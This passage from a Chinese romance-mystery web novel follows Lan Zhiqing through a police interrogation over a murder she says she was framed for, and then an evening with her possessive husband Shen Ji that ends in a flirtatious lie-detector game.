兰稚青抿了抿唇,皱眉道:“你们既然查到了于琦曾经报案,那也应该查到了案件结果才对吧。” 她用一种很困惑的眼神看着对方,诧异道:“难道我现在说是我烧了阿房宫,你们也要说我和秦始皇有仇吗?” “……” 李警官闻言脸色再度一僵,他没想到这个看着怯生生的小姑娘这么难搞。 孙想闻言差点没忍住笑出声,但鉴于自己是受过专业训练的,他还是硬生生憋了回去。 “兰女士,麻烦你严肃一点!请你配合我们调查,不要在这里顾左右而言他!” 李警官敲了敲桌子,再度问道:“十一月二十八号的那件事虽然不是沈寂做的,但是死者指名道姓报案,应该给他也造成了一定的困扰吧。” “我不知道。” 兰稚青老老实实摇头,“这种事情一般都是律师处理的吧,有钱人都请律师。” “死者上一次头破血流,这一次更是面容被毁,你不觉得这种事情有些巧合吗?” 兰稚青眨了眨眼,肯定道:“毁坏别人的脸一般都是出于嫉妒,但是我老公比于琦长得好看,所以肯定不是他干的。” 李警官皱了皱眉,又道:“但是应该不止这些吧,沈寂是于琦之前所实习公司的投资人,于琦实习期未满便被辞退,还差点被起诉。” “那是他自己要贪污公款的,难道有钱又长得好看是我老公的错吗?” 兰稚青伶牙俐齿回击了回去,又补充道:“如果你不信的话,也可以去查监控,确认他的不在场证明。” “这个倒是不用了,因为我们已经确认过了,沈寂确实有不在场证明,可是兰女士你呢?” 李警官甩出一张照片到兰稚青的面前,冷声道:“这个东西你认识吧?” “……这是一个装咖啡的纸杯?” 兰稚青看着照片上的杯子,她的眼中满是茫然,明显没意识到有哪里不对。 “这是在案发现场找到的,经过指纹和DNA鉴定,可以确认上面沾着你的指纹和死者的血。” 李警官声音严厉,质问道:“如果你没有去过案发现场,那这个纸杯怎么会掉在那里?” “……什么?” 兰稚青闻言一怔,她连忙摇头否认,“可是我真的没去过于琦死的地方,我那天确实是待在家里,没有出门。” “兰稚青,坦白从宽,你最好对我们实话实说!” “我的实话就是我没有!” 兰稚青丝毫不愿意让步,她坚持道:“我不知道为什么有我指纹的杯子会在案发现场,但是当天我的确人在家里,于琦也不是我杀的。” 李警官眉头紧皱,明显已经把兰稚青当成了犯罪嫌疑人 ,可是兜兜转转问了一大圈,兰稚青愣是一点不松口,咬死了自己没去过现场,也不知道咖啡杯是怎么来的。 兰稚青有些不适地靠在椅背上,她盯着审讯室惨白的灯光,不知为何开始头晕目眩,眼前一阵接着一阵地发黑。 “你没事吧?” 坐在对面的警察明显也意识到了兰稚青的不对劲,她脸色变得越来越苍白,看起来下一秒就要晕过去了。 兰稚青视线早已无法聚焦,她听到有些杂乱的脚步声和开门声,隐约之间看到了沈寂的脸。 在失去意识的最后瞬间,兰稚青脑子里只冒出一个念头。 她不要孵蛋啊…… 第34章 第34章我又不是小蛋糕 兰稚青有些迷茫地睁开了眼睛,她似乎是睡了很沉的一觉,就连记忆也变得有点模糊,只记得自己在审讯室里突然低血糖晕倒,甚至出现幻觉看到了沈寂的出现。 等一下,沈寂…… 兰稚青有些迟钝地侧头去看,果不其然看到了熟悉的脸。 “宝宝,有没有哪里不舒服?” 沈寂见她表情呆呆的,还以为她是没有彻底清醒,忍不住轻轻摸了摸她还有些苍白的脸颊,心疼道:“怎么回来两天就变成这样了。” “你怎么会在这里?” 兰稚青虽然对沈寂的出现感到诧异,但是又总觉得在意料之中。 毕竟在这种事情上,沈寂的确不能算作一个守信的人。 “太想你了,所以过来看看。” 沈寂侧头亲了亲她柔软的脸颊,试探问道:“生气了吗?” “……没有。” 兰稚青抿了抿唇,她窝在沈寂的怀里,可是却总觉得鼻头发酸,一种莫名的委屈闷闷地堵在她的心头,让她有一点点想哭。 她甚至不清楚她到底在委屈什么。 家里人对她不好,这是她一早就知道并且已经坦然接受的事情,警察说她是杀害于琦的凶手,她身正不怕影子歪,只要没有确切的证据,那她就无法被定罪。 明明一切都没有超出过她的承受范围,为什么她还会觉得这么委屈。 兰稚青抓住了沈寂的衣服,她的眼泪无声无息地掉了下来,沈寂动作微顿,他慢慢帮兰稚青顺着气,耐心道:“宝宝,怎么了?” “……警察怀疑是我杀了于琦。” 兰稚青最终还是没有把自己家里的事情说出来,她吸了吸鼻子,小声道:“警察在现场发现了带着我指纹的咖啡纸杯,上面还有于琦的血,他们怀疑我就是凶手。” “可是我那天明明就待在家里,而且从回到F市之后就没有买过咖啡……” 兰稚青小声向沈寂抱怨,可是话说到一半哭声却突然止住。 她像是突然想起了什么一把推开了沈寂,脸上还带着泪痕,急促道:“我的手机呢。” 沈寂见状一怔,他把放在一旁的手机递给了兰稚青,小声道:“刚刚你的那个黄毛学弟打了电话过来,我怕打扰你休息,就先挂断了。” 兰稚青随口应了一声,她现在没空去管路锡鸣怎么样,只是一门心思开始翻找自己买咖啡的记录。 那个咖啡纸杯的设计很普通,是常见的新年设计,上面也没有任何logo。 兰稚青当时她急着和李警官争辩自己的当天确实在家,认为自己的指纹是像那种怪盗片一样被偷印上去的,反倒是忽略了最重要的一点。 或许那个杯子就是她喝过的杯子呢…… 兰稚青开始庆幸自己有记账的习惯,这样她通过筛选很快就能找到具体的日期。 她翻了翻账单,排除掉一些连锁咖啡店,最终只找到了一家店,日期正好是那天她找跑腿把化验物送去研究所的那一天。 兰稚青一直埋着头捣鼓着手机,沈寂也不着急,他甚至坐在旁边拍了几张照片,而后一并放到自己的秘密相册中。 “果然是有人在陷害我!” 兰稚青基本摸索出了真相,她怒气冲冲看起来像是炸毛的小兽,气愤道:“到底是哪个王八蛋偷偷把我喝的杯子藏起来陷害我……” “好了乖乖,不要生气,要不要吃苹果?” 沈寂用湿巾擦干净她脸上的泪痕,而后把切成小块的苹果递到兰稚青的嘴边,兰稚青别过了头不愿意吃,沈寂只能重新倒了杯水给她。 兰稚青越想越气,她顾不上沈寂会不会偷偷在水里给她下毒,直接一口气喝了半杯,恼怒道:“我差点被人当成杀人犯了,刚刚我问过客服了,对方说那个款式的杯子是新年限定,半个月前就已经停售了!” 她虽然家庭不睦,朋友很少,但是好歹也遵纪守法本本分分,基本很少和别人结仇,怎么就会摊上这种破事。 从半个月前就偷偷拿走她用过的杯子,就是为了在半个月后杀了于琦嫁祸到她的身上,这种事情未免也太离谱的一点吧。 等等,喜欢偷藏她东西的变态,她的旁边不就坐着一个吗…… 兰稚青觉得自己昏倒苏醒之后脑子都跟着变得灵光了起来,她有些犹疑地侧头看向沈寂,发现他正捧着自己喝过的杯子小心翼翼地喝着,看起来不像是在喝白开水,像是在品什么极品龙井。 “……” 算了,沈寂这种程度看起来应该也不会丢她喝过的咖啡杯。 兰稚青越想越觉得这件事不简单,她在第一时间把自己的发现告知了林警官,而后靠在病床上开始思索自己和于琦到底有没有得罪过什么人。 沈寂盯着她认真的面容,忍不住凑上去蹭了蹭她的脸颊。 “宝宝,我好想你。” 兰稚青没什么反应,她沉浸在自己的发现中,甚至已经开始排除自己同在A市的高中同学。 沈寂见状得寸进尺,他抱着兰稚青又亲了一口。 “宝宝,你好香哦。” 兰稚青还是没什么反应,她的大脑飞速运转,甚至已经开始思考自己和于琦社交圈重合的有哪些人。 沈寂见兰稚青还没有反应,他忍不住张嘴咬住了她脸颊上的软肉。 “你咬我做什么?!” 兰稚青捂着自己的脸颊,难以置信地看向罪魁祸首。 沈寂舔了舔唇,一脸无辜道:“因为有点好奇是什么口感的,所以尝了尝。” 兰稚青闻言恼羞成怒,“我又不是小蛋糕!” 沈寂没说话,他伸手又把兰稚青抱在怀里,感受到了熟悉的气息,他的心终于彻底安定下来。 兰稚青本来想要把他推开的,但是不知为何还是心软了下来。 沈寂沉默了许久,开口问道:“累不累,要不要再多休息一会儿?” “……算了,还是先回酒店吧,不喜欢消毒水的气味。” 兰稚青讨厌医院,她任由沈寂把自己抱起来换衣服穿鞋,放在旁边的手机还在不停冒着消息,屏幕上路锡鸣的名字格外明显。 又是路锡鸣发来的。 这人怎么这么喜欢多管闲事啊…… 兰稚青不觉得自己和他做过一次小组作业就算得上有多熟,更重要的是,这还是兰智正的朋友,一天到晚和兰智正混在一起打游戏的能是什么好人吗? 她有些厌烦地皱了皱眉,毫不犹豫解锁手机把路锡鸣拉黑删除。 路锡鸣盯着自己手机上的消息,等了许久也没有等到兰稚青的回复,再想发消息过去的时候便已经提示红色的感叹号。 兰稚青把他删了?! 路锡鸣难以置信地盯着自己的手机,简直就像是看到了什么不可思议的事物。 他对她那么好,帮她解决麻 烦,推动她了解真相,她不表示感谢也就算了,现在竟然还敢把他删了。 路锡鸣脸色阴沉,他捏紧了手机,下意识想要把它摔出去泄愤,可以后知后觉意识到自己还在警局,他只能勉强忍耐下来。 “你是和兰智正一起来的吧。” 林警官见路锡鸣一个人坐在椅子上,她视线微顿,主动上前和对方搭话。 “别紧张,他可能还有一会儿才能结束,你也是兰家人?” 路锡鸣摇了摇头,随口道:“不是,我们就是普通朋友。” 今天下午他本来是打算故技重施再从兰智正那里套出点什么,没想到警察会突然找上兰智正问话,应该是为了确认兰稚青的不在场证明。 ……已经半个小时了,只是为了确认不在场证明需要花这么长的时间吗? 看到路锡鸣点开手机屏幕再度确认了一遍时间,林警官眉头微不可察地皱了皱。 从他们刚来的时候她就已经注意到了,路锡鸣似乎对时间很关心,她上下打量了对方一眼,问道:“你是接下来还有什么急事吗?” 路锡鸣顿了顿,姿态自然道:“对,我是来A市旅游的,有一家想要打卡的甜品店下午五点钟就要关门了。” 林警官步步紧逼,“哪一家甜品店?” 路锡鸣闻言挑了挑眉,面不改色报出了甜品店的名称,反问道:“您去过吗,听网上说这是老字号了。” 林警官倒是没想到路锡鸣会回答得这么干脆,她摇了摇头,心里的怀疑倒是打消了些许,“我不了解这些。” “鸣哥。” 兰智正刚刚接受完相关的问询,他看到了路锡鸣的身影,远远朝他招了招手。 路锡鸣见状起身和林警官道别,转而和兰智正一起离开警局,故作随意道:“我还是第一次来警察局呢,是出什么事了吗?” “我也不太清楚,那个警察没细说,就问了我和我姐关系怎么样,然后问我姐前天晚上在不在家,有没有出门的……” 兰智正一说起这件事便滔滔不绝,“鸣哥,我和你说,这简直太离谱了,我都不知道我姐偷偷在外面结婚了,那个警察说我姐夫带着我姐去医院了,我当时就纳闷了,我哪来的姐夫啊,别不是个骗子吧,结果一问才知道,我姐她连结婚证都……” “你姐夫?” 路锡鸣闻言脚步微顿,他下意识看向兰智正,神色奇怪道:“你是说你姐夫他也来了吗?” 第35章 第35章小绵羊内裤 沈寂。 一个非常讨人厌的人。 路锡鸣趁着兰智正去排队买糕点的时候打开手机重新看了一遍沈寂的资料。 他在大学任职,之前还因为被人拍过照片发到网上火过一把,虽然很快就被压了下去,但是网上依旧能查到不少他的公开信息。 学历优秀,家境富裕,外貌出挑,就连性格也稳定温和,这样的人在哪里都是中心人物。 可是路锡鸣很讨厌这种人。 他更偏好于那种柔软无助的生物,像是无害的兔子,乖巧的猫,忠心的狗,可以被他轻松扯断翅膀的蝴蝶和解剖台上徒劳挣扎的小白鼠。 而不是沈寂这种像是毒蛇一样的狩猎者类型。 他和沈寂至今为止只打过两次交道。 第一次沈寂在咖啡厅里当着他的面带走了兰稚青,第二次在他给兰稚青打电话时沈寂精准报出了他的个人信息,甚至还意味深长说他是丑八怪。 丑八怪…… 自从他十六岁之后还从来没有人这么骂过他。 路锡鸣咬牙切齿盯着资料上沈寂的名字,绞尽脑汁也没想出有什么好办法,最终只能打算暂时放弃自己的计划,免得到时候惹火上身,反倒是又牵扯出更多陈年旧事。 可是真的好不甘心,明明他都已经做到这一步了…… 路锡鸣有些神经质地用指甲剐蹭着手机屏幕,那双明亮的眼眸此时无比晦暗冰冷,本来有路过的女生想要过来和他搭讪,可是看到他那副可怕的神情,又默默退缩离开。 要是沈寂能死掉就好了。 路锡鸣思来想去也只有这一条路可以走。 要是沈寂死了,没了饲主的兰稚青就和那些流浪猫没什么区别,只要他给她开个罐头,哪怕她之前再对他张牙舞爪,但还是会老老实实任由他摆布。 可是怎么才能让沈寂从这个世界上彻底消失呢…… “我真是服了,一个破点心怎么排这么长的队,要不是鸣哥你要吃,我真的早就等不下去了。” 兰智正气喘吁吁地拿着买好的糕点走出人群递给路锡鸣。 因为有了金钱的加持,他非常自然成为了路锡鸣的跑腿小弟,并且对此乐此不疲。 “鸣哥,我们今晚去哪里吃……” 兰智正的话还没来得及说说完,路锡鸣就开口打断,“我家里有事,已经定了今晚回程的机票,就不和你一起吃饭了。” “……什么意思,鸣哥你今天就要走吗?” 兰智正闻言脸色一僵,下意识想要开口挽留,“不是,你怎么这么着急,要不再多玩两天吧,我还没带你好好逛逛呢。” “实在不好意思,家里催得很急。” 路锡鸣从兰智正的手里接过了糕点,带着歉意补充道:“我现在就回酒店拿行李,房间我定了一个周,你可以继续住着。” 兰智正闻言一怔,“这怎么好意思,那么大的套房……” “没事,你住着吧,到时候万一警察这边还要问话,你也方便过去,不用特地坐车过来。” 路锡鸣这番话说的很是贴心,兰智正刚刚还在因为路锡鸣的突然离开而心生不满,现在闻言立马又喜笑颜开。 算了,路锡鸣走就走了吧,虽然没办法继续蹭吃蹭喝,但是好歹还能在酒店多住几天躲躲风头。 兰智正再次热情迎了上去,“鸣哥,那我先陪你回去收拾行李,到时候我再送你去机场,对了,你定的几点的飞机啊,要是时间来得及我们还能一起吃个晚饭……” …… “我就要住酒店,我不要退房!” 兰稚青眼睁睁看着沈寂把她的东西都给收拾好,她扒着门框不想走,但是却被沈寂硬生生捞了出来。 沈寂一手拿着兰稚青的包,一手抓着兰稚青的人,顺便抬脚把房门关上,整段动作行云流水没有半分卡顿。 “有家你不回为什么要在外面住酒店。” 沈寂皱了皱眉,嫌弃道:“……而且还是这种破酒店。” “这是离警局最近的酒店了,而且我都说了我现在不能回家,万一警察又让我过去做笔录,我住在村里一来一回不就麻烦死了!” 兰稚青被沈寂死死按着,她扑腾挣扎了两下发现没效果,只能改口道:“你不喜欢那就换一家嘛,我跟着你住好了。” “你当然要和我住一起啊。” 沈寂去前台办理的退房,听到兰稚青的话有些诧异地看了她一眼,“我们结婚还不到一年,现在你就想分居了?” 前台闻言有些惊讶地抬头,视线在两人身上打转,像是又听到了大八卦。 兰稚青一时无言以对,她被沈寂拽上了车,头疼道:“可是我家没地方给你住,之前我们不是都说好了今年先不去我家……” “谁要去你家,我们要回我们自己的家。” 沈寂帮兰稚青扣上了安全带,顺便把放在后座的兔子玩偶一起塞到了她的手里。 兰稚青闻言脸色一变,立马变得更加抗拒起来,尖声道:“不行!我还有事,现在不能回A市!你快放我下车!” “不是回A市,也不是要去你家。” 沈寂耐着性子解释道:“是回在F市的我们一家三口的家。” 兰稚青一脸茫然,“……我们什么时候在这里有家了?” “领证前一天律师不是拿着过户相关的文件资料找过你了吗,难道你都不记得了吗?” “过户?” 兰 稚青愣了一下,难以置信道:“……给我吗?” “你的意思是我的名下有房子吗?” “嗯,我们在A市住的房子也在你的名下。” 兰稚青如遭雷劈,她脑子冒出的第一个想法就是—— 她以后再也没办法享受首套房的优惠政策了。 沈寂趁着等红绿灯的间隙侧头看了一眼一脸呆滞的兰稚青,皱眉道:“你该不会连文件的内容都没看就签字了吧?” “宝宝,这可不是一个好习惯,这样很容易被骗的,不管是谁给你的合同文件都要看过之后才能签字按手印。” 兰稚青:“……” 她以为那些文件那是有钱人保护婚前财产的措施, “谁让你的律师是跑到食堂去找我的。” 兰稚青试图为自己挽尊,小声道:“当时我才刚刚吃上饭,他就拿着一大堆东西坐我对面叽里咕噜的……” 她顿了顿,又诧异问道:“既然在F市有房子住,那为什么你还要留在A市?” “因为你说,你们家祖训就是要在村里过年。” 沈寂侧头似笑非笑地看着她,“反正你也不打算和我见面,我在A市还是F市有区别吗?” 与其自己一个人孤零零在F市住着,那他还不如留在A市,好歹兰稚青在那里住过,他还可以用她的东西搭一个有她气味的小窝度过自己的特殊时期。 兰稚青一时无言以对,只能默默闭上嘴,努力降低自己的存在感。 沈寂说的房子位于江边,兰稚青一看到位置就知道房价肯定贵得吓人,现在房地产又不景气,沈寂左一套房右一套房的买那么多不就更亏了吗? 不过这都不是很重要,毕竟不是她花钱,她目前还有更关心的问题。 “住在江边会不会很潮啊。” 兰稚青看着不断上升的电梯数字,谨慎问道:“这里的家电家具不会长毛吧?” “……不会。” “房子什么时候装修的,里面不会有甲醛吧?” “……不会。” “我听说住在江边晚上会很……唔……” 兰稚青刚刚进门就被沈寂按在了玄关的墙上,沈寂堵住了她叽叽喳喳的嘴,含着她的唇瓣细细啃噬,直到兰稚青开始挣扎才终于松开她。 他意犹未尽亲了亲兰稚青的唇角,柔声道:“好了乖乖,对于房子剩下的问题我们这两天再一起慢慢探索吧。” 兰稚青猝不及防又被亲了一口,她眼见着沈寂又要抱她,立马把自己手里的兔子玩偶塞到他的怀里,自己装模作样开始观察起了房子的格局。 沈寂见状也没有强求,他把兰稚青的东西一一放好,随口问道:“宝宝,今晚是出去吃还是在家里吃?” 兰稚青没理他,她正躲在衣帽间不亦乐乎玩着可以调整灯光的兔子全身镜。 沈寂站在门前看了她一眼,见兰稚青像是好奇的小狗一样在熟悉新的环境,他没有继续打扰,只是轻声道:“我先去做饭了,有事你要记得喊我哦。” 兰稚青随便应了一声,眼见着沈寂关门离开,她才终于放下心来,掏出手机给兰母发消息。 【妈,兰智正说我小时候不是自己走丢的,而是被你们卖了,这到底是怎么回事?】 【别说什么兰智正不懂事不小心说错话了,他不是小孩,我也不是傻子。】 【而且家里一共就五口人,你们还要特地弄个没我的群,是心虚还是另有所图?】 【聊天记录.jpg】 兰稚青一口气发了一堆消息,手机那头的兰母却始终都没有回复,她只能冷着一张脸关上手机,慢吞吞晃到了厨房。 果然有的人还是只适合网恋。 沈寂没来的时候她对他带着一层Schlange的滤镜,觉得对方千好万好,可是见了面之后,心里却又开始膈应,总觉得他会在饭菜里偷偷下毒。 兰稚青看着沈寂正在洗菜,皱眉道:“不用麻烦了,我们出去吃吧。” 沈寂闻言回头看了她一眼,他并没有多想,只是随手解下了自己身上的围裙,“宝宝,你想吃什么?” “随便,什么都行。” 兰稚青对吃的倒是没有什么太大的要求,虽说她才是F市本地人,可是在初中之前她待在镇子里,高中虽然人在市区上学,可是光忙着埋头苦学,后来上了大学去了A市,每年回来的日子加起来都不超过半个月。 她不像兰智正一样知道那么多好吃的餐厅馆子,所以干脆把选择权又交到了沈寂的手上。 沈寂闻言解锁了手机,开口道:“过来之前我倒是让助理帮我整理了几家合适的餐厅,应该都是你会喜欢的……” …… “鸣哥,这家日料我实在太喜欢了,食材一吃就能尝出来新鲜。” 兰智正酒足饭饱又开始对着路锡鸣夸夸其谈,仿佛又在他面前找回了些许自信,“这种的才能算得上是真日料,我前两年和朋友一起出国……” 路锡鸣扫了一眼手机上的时间,闻言冷淡打断道:“你吃饱了吗?要是吃饱了我就给你打车送你回酒店。” 兰智正闻言有些讪讪地闭上了嘴,改口道:“鸣哥,怎么又要回酒店了,不是说好要送你去机场的吗?” “我自己去就行,你今天喝了点酒,还是早点回去休息吧。” 路锡鸣随口敷衍了他一句:“你吃完了吗,吃完我结账了。” “等等……” 兰智正摸了摸鼻子,试探道:“我能再打包一份猪排饭和刺身带回去吗?” 路锡鸣闻言微顿,好心提醒道:“刺身放到第二天吃就不新鲜了,很有可能会肠胃炎的。” “我带回去当夜宵,正好今晚有团战,打完了正好可以垫垫肚子。” “……那你胃口还挺好的。” 路锡鸣扫了一眼桌上的空盘,嘴角忍不住轻轻抽了抽。 虽然说他确实对兰智正采取了一些金钱上的手段,但是兰智正像是真的把他当ATM机一样,就差没把想占便宜这四个字写在脸上了。 在他和兰智正见面的这几天,兰智正可谓是把“捞男”这两个字发挥得淋漓尽致。 他住着路锡鸣花钱定的酒店,穿着路锡鸣送的新鞋,打游戏要路锡鸣氪金,就连外套和卫衣都要穿路锡鸣的,甚至还以自己手机坏了为由让路锡鸣给他买了新手机。 如果只是这样也就算了,兰智正尤嫌不足,他说是要给路锡鸣当导游,实际上带他去的景点就是奢侈品专柜,什么腰带背包墨镜的一通乱买,反正不是他自己花钱。 就连吃饭选餐厅他都要按照人均价格降序来选,哪怕吃饱了还要再额外打包,即使知道了路锡鸣今晚要走,临了他还得再把人多宰一顿,什么刺身和牛像是不要钱似的拼命往嘴里炫。 路锡鸣粗略估计这几天的花费开销绝对不会小于六位数。 这些钱要是被兰稚青花掉了,他倒是勉强可以接受。 可是他兰智正到底算个什么东西啊?! 知道的以为他们两个是朋友,不知道的还以为是他包养了兰智正这个小白脸。 路锡鸣第一次意识到“好吃懒做”这个成语能这么准确地形容一个人。 服务生把打包的菜品交到兰智正的手上,兰智正终于心满意足,路锡鸣觉得自己的忍耐真的已经快到极限,他起身结账准备拉着兰智正离开,可是兰智正却突然又回头。 “等等,那是不是我姐?” 兰智正看到兰稚青和一个高个子的陌生男人穿过长廊,他下意识就想要过去看个究竟。 路锡鸣眼疾手快拉住了他,皱眉道:“你又要干什么?!” “鸣哥,我刚刚看见我姐了,她和一个男的在一块……” “那一定是你看错了,快点走吧,车已经在外面等着了。” 路锡鸣含含糊糊把兰智正糊弄了过去,他自己还有些犹疑地探头看了一眼,假山流水和影影绰绰的绿植挡住了他的身形。 隔着细密的叶片,沈寂似有所感回头望去,遥遥和路锡鸣对上了视线。 路锡鸣打了个激灵,明明知道沈寂隔着这么远的距离应该看不清他的脸,但他还是感到一种莫名的恐惧,拉着身旁的兰智正快速离开。 “怎 么了,你在看什么?” 兰稚青见沈寂盯着回廊中心摆着的假山,她有些疑惑,“是有什么东西吗?” “没什么,只是觉得假山的形状很独特。” 沈寂弯了弯眉眼,神色再度恢复如常,丝毫看不出半分的破绽。 或许是因为出来吃饭减少了沈寂会偷偷下毒的可能,兰稚青明显放松了不少。 服务生将他们点好的菜品一一送上,兰稚青愤恨无比咬了一口天妇罗,假装那是诬陷她的人的人头。 沈寂盯着她一直吃吃吃嚼嚼嚼,提醒道:“宝宝,吃慢一点。” 兰稚青闻言默默放慢了自己的吃饭速度,含糊不清道:“你说诬陷我的人会不会是什么跟踪狂心理变态啊。” 她咽下了嘴里的寿司,皱眉道:“之前不就有一部外国电影讲过,有一个杀人魔为了摆脱自己的嫌疑,所以会在死者身上放别人的东西来混淆视听,打乱警方的办案速度。” “嗯,确实很有可能。” 沈寂闻言点头附和,顺便抬手帮兰稚青擦掉嘴角沾到的酱汁。 “还有没有一种可能,其实就是于琦这个变态偷走了我用过的纸杯,然后藏在自己的家里想要用什么巫蛊之术挡我的气运,你知道的吧,民间有很多那种跳大神的招魂的。” 兰稚青越想越觉得自己的推论有道理,继续猜测道:“于琦那天晚上两三点出门就是为了做法,但是没想到飞来横祸,有一个和于琦有仇的人袭击了他,所以那个杯子才会掉在现场,上面还沾着于琦的血。” “也确实会有这种可能。” 沈寂低头喝了口水,含笑道:“这种事情警察会去查的,相信一定很快就能抓到凶手。” 不对劲。 实在是太不对劲了。 兰稚青有些狐疑地看了沈寂一眼。 从她和沈寂见面的时候她开始觉得奇怪,为什么她出了这么大的事情沈寂竟然会这么淡定。 人不会真的是沈寂杀的吧…… 也不对啊,那个时候沈寂明明就在A市,怎么能做到隔空杀人呢。 但是十一月二十八日那天于琦确实受伤了,她甚至还特地去找林警官确认了一遍,林警官说A市那边的调查结果是于琦自己喝多了,腿上的伤和头上的伤口都是自己撞的,不仅当时沈寂有不在场证明,甚至后来还有一辆停在路边的车行车记录仪里正好录下了于琦撞墙的全过程。 难道是沈寂在监控还是什么现场证物上动了手脚,还是他伪造了证据证人。 等一下,他该不会是会被扫黑除恶的那类人吧…… 兰稚青越想越觉得沈寂可疑。 吃饭,回家,散步,聊天…… 直到兰稚青在浴缸里泡澡都没想明白到底是为什么,正当她百思不得其解冥思苦想时,沈寂却突然在外面敲了敲浴室的门。 “宝宝,我可以进来吗?” “不准进!我在洗澡你为什么要进来!” 兰稚青脸色大变,她起身飞快用宽大的浴巾把自己擦干,而后手忙脚乱穿好了衣服,这才小心翼翼打开了门,一脸警惕地盯着门外的沈寂。 “我洗完了,你有事吗?” 沈寂看到兰稚青开门明显一怔,他晃了晃自己手里的小黄鸭和小海豚,解释道:“我忘记把你一起泡澡的好朋友放进去了。” 兰稚青兴趣爱好不多,非要说的话一个是画**人,另一个就是泡澡,泡在温暖的水里会让她有前所未有的安全感,只要她一心烦就会把自己泡在水里,沈寂本来以为她会在里面多待一会儿,没想到竟然这么快就出来了。 不过他并没有多问,而是又把兰稚青拉到一旁坐下,帮她吹起了头发。 兰稚青感受着沈寂的手指在自己的发间穿梭,吹风机的声音不大,但是刚刚好足以掩饰她有些颤抖的声音。 她犹豫了许久,小声问道:“于琦是不是你杀的?” 吹风机的声音突然戛然而止。 “怎么突然又这么问,这个问题我记得我已经回答过你了,不是我。” 沈寂拿起梳子帮兰稚青梳顺头发,他见她乖乖任由自己摆布,忍不住亲了亲她的耳朵,随口道:“你不相信我吗?” 兰稚青没有说话,她下意识低头,攥紧了自己的裙摆。 沈寂见状一怔,突然间轻笑了一声。 “既然你不信我,那要不要现在当场测一下谎。” 兰稚青闻言愣了一下,却见突然间起身离开,过了许久才拿着一个巴掌大的方形盒子回来。 “这是獬豸的角,相传獬豸是可以明辨是非曲直的神兽,能够判断出使用者说的到底是真话还是假话。” 沈寂大大方方把东西递给兰稚青,“要不要试试?” 兰稚青有些狐疑地接了过去,上上下下把它看了一遍,实在没看出有什么究竟,皱眉道:“獬豸?你们家祖上还和山海经攀过亲戚?我又不是三岁小孩,才不会信这些东西。” “开个玩笑而已。” 沈寂闻言笑了笑,解释道:“其实这是实验室还在测试的产品,可以通过皮肤电阻心跳脉搏等人体反应的强弱来测试真假,你把手放上去,如果说了假话,盒子就会发生震动。” 兰稚青眨了眨眼,当真试着把手放了上去,思索片刻道:“我喜欢吃凤梨。” 盒子毫无反应。 她顿了顿,又说道:“我喜欢吃榴莲。” 原本安静的盒子在她话音刚落的瞬间立马震动了起来。 “……竟然还真的有用。” 兰稚青有些诧异,她扫了一眼沈寂手里拿着的纸牌,皱眉道:“这又是什么?” 沈寂把纸牌递给她,坦然道:“新买的情侣纸牌,我们互相给彼此测谎,说谎话的人总得有点惩罚吧。” 兰稚青接过来看了一眼,上面第一张牌写着: 【用头蹭对方的掌心,并说“我是主人的小狗”】 “……” 下流!无耻!伤风败俗! 兰稚青气急败坏把纸牌塞给了沈寂,“我才不要玩这种东西!” 不管是她给沈寂当狗,还是沈寂给她当狗,到最后爽到的明明都是沈寂,她又不是傻子,才不要做这种赔本买卖! 沈寂见状毫不意外,又提议道:“那我们换个玩法,说谎的人要答应对方提出的一个要求。” “……” 兰稚青思索片刻,点头道:“可以。” 沈寂笑了笑,确认道:“那是你先问还是我先问?” “我先问。” 沈寂把手放在盒子上,兰稚青问道:“是不是你杀了于琦?” 沈寂:“不是。” 盒子没有震动,是真话。 兰稚青松了口气,她有些紧张地把手放在盒子上,沈寂歪头打量了片刻,问道:“你这次回F市不只是为了回家过年,而是有事瞒我?” 兰稚青:“没有。” 盒子突然发出了猛烈的震动。 兰稚青:“……” “看来说谎的另有其人啊。” 沈寂眉眼弯弯,提出了自己的要求,“我的要求是,你过去抽一张那边的纸牌照做。” 兰稚青:“……” 她咬了咬牙,非常视死如归地摸上那把纸牌,刚刚想去抽第一张,可是沈寂却突然拿过去把牌洗了一遍,而后才递到她的手中。 “好了,你现在可以抽了。” “……” 兰稚青胡乱抽了一张,看清楚上面的字后脸色猛然僵住。 【脱一件衣服。】 “……” 兰稚青看了一眼自己身上唯一一件睡裙,整个人都陷入了沉默。 该死,早知道还不如口头当狗。 “宝宝,需要我帮忙吗?” 沈寂看到牌上的内容轻笑了一声,他打量了一眼兰稚青身上穿着的睡裙,含笑道:“我非常乐意效劳哦。” “……不需要。” 兰稚青咬了咬牙,她犹豫了片刻自己默默缩进被子,许久才抓着一小团布料爬了出来,脸色涨红道:“这样总可以了吧。” 沈寂看着依旧衣着完整的兰稚青,他似乎也没想到她会这么“另辟蹊径”,点头道:“可以。” 第二回合,兰稚青不语,而是主动让沈寂率先发问。 沈寂闻言并不担心,慢条斯理问道:“你瞒我的事情是不是和你家里有关?” 兰稚青:“……不是。” 盒子又开始剧烈震动。 沈寂意味深长地看了她一眼,刚刚俩要收回自己的手,兰稚青却又眼疾手快把他按了回去,问道:“你是不是在测谎仪上动了手脚?” 沈寂挑了挑眉,淡定道:“没有。” 盒子和兰稚青在一瞬间都安静无比。 “乖宝,玩游戏的时候要诚实一点啊。” 沈寂故作惋惜地轻叹了一声,他略带思索地仔细端详着兰稚青,像是在思考自己接下来要提出什么要求。 兰稚青抢先一步开口:“不准再让我抽纸牌!” 她顿了顿,又补充道:“你也不准抽。” “好吧,虽然这样不符合游戏规则,但是看在你的面子上,我先把纸牌收起来好了。” 沈寂闻言竟然真的把那叠纸牌收了起来,可是兰稚青不仅没有松一口气,反而是变得更加警惕起来。 “……你想让我干什么?” “宝宝,别那么紧张,这才进行到第二个回合,我不会对你做什么的。” 沈寂微微一笑,开口道:“我给你两个选择,你要么现在过来亲我五分钟……” 兰稚青立马打断,“不可能。” 沈寂也不恼,继续道:“要么把你刚刚脱下来的小绵羊内裤送给我。” 兰稚青:“……” 她的脑中在一瞬间想到了自己被迫牺牲的小恐龙内裤,最终她闭了闭眼,还是默默凑到了沈寂的面前。 五分钟就五分钟,五分钟换她小绵羊的安全也算值了。 沈寂见她一直在磨磨蹭蹭,干脆直接把她抱到了自己的腿上。 兰稚青吓了一跳,她从旁边拿过自己的手机设置好时间,强调道:“就五分钟,一秒钟就不能多。” 沈寂闻言点头,非常公正道:“当然。” 兰稚青按下了记时键,她捧起沈寂的脸闭眼吻了上去,虽然说是吻,但是她的吻技一直以来都没什么长进,除了会舔舔嘴唇碰碰舌头外就不会什么了。 不过沈寂并不在意,他任由兰稚青自己掌握节奏,手指却顺着她的裙摆摸了进去。 “不准乱摸!” 